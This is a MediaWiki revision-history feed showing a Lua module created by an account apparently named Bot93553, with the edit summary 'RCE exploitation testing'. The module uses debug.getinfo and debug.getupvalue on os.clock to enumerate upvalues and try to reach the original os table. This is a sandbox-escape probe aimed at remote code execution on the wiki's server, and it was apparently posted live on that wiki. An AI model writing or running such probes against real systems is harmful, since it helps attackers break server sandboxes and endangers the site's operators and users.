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	<id>http://120.55.36.65/w/index.php?action=history&amp;feed=atom&amp;title=%E6%A8%A1%E5%9D%97%3ARceEscape_UpvalRecover</id>
	<title>模块:RceEscape UpvalRecover - 版本历史</title>
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	<updated>2026-05-12T17:51:46Z</updated>
	<subtitle>本wiki上该页面的版本历史</subtitle>
	<generator>MediaWiki 1.40.0</generator>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:RceEscape_UpvalRecover&amp;diff=890&amp;oldid=prev</id>
		<title>Bot93553：​RCE exploitation testing</title>
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		<updated>2026-05-09T05:35:11Z</updated>

		<summary type="html">&lt;p&gt;RCE exploitation testing&lt;/p&gt;
&lt;p&gt;&lt;b&gt;新页面&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;
local p = {}&lt;br /&gt;
function p.test()&lt;br /&gt;
    -- The sandbox wraps functions. Try to get upvalues of os.clock&lt;br /&gt;
    -- to see if we can navigate to the original os table&lt;br /&gt;
    local results = {}&lt;br /&gt;
    local os_tbl = require(&amp;quot;os&amp;quot;)&lt;br /&gt;
    if os_tbl.clock ~= nil then&lt;br /&gt;
        local info = debug.getinfo(os_tbl.clock, &amp;quot;u&amp;quot;)&lt;br /&gt;
        if info then&lt;br /&gt;
            results[1] = &amp;quot;clock_upvalues=&amp;quot; .. (info.nups or 0)&lt;br /&gt;
            for i = 1, (info.nups or 0) do&lt;br /&gt;
                local name, val = debug.getupvalue(os_tbl.clock, i)&lt;br /&gt;
                results[#results+1] = &amp;quot;up_&amp;quot; .. i .. &amp;quot;: &amp;quot; .. tostring(name) .. &amp;quot;=&amp;quot; .. type(val)&lt;br /&gt;
                if type(val) == &amp;quot;table&amp;quot; then&lt;br /&gt;
                    local subkeys = {}&lt;br /&gt;
                    for sk in pairs(val) do subkeys[#subkeys+1] = sk end&lt;br /&gt;
                    results[#results+1] = &amp;quot;  subkeys(&amp;quot; .. #subkeys .. &amp;quot;): &amp;quot; .. table.concat(subkeys, &amp;quot;,&amp;quot;)&lt;br /&gt;
                end&lt;br /&gt;
            end&lt;br /&gt;
        else&lt;br /&gt;
            results[1] = &amp;quot;no_clock_info&amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
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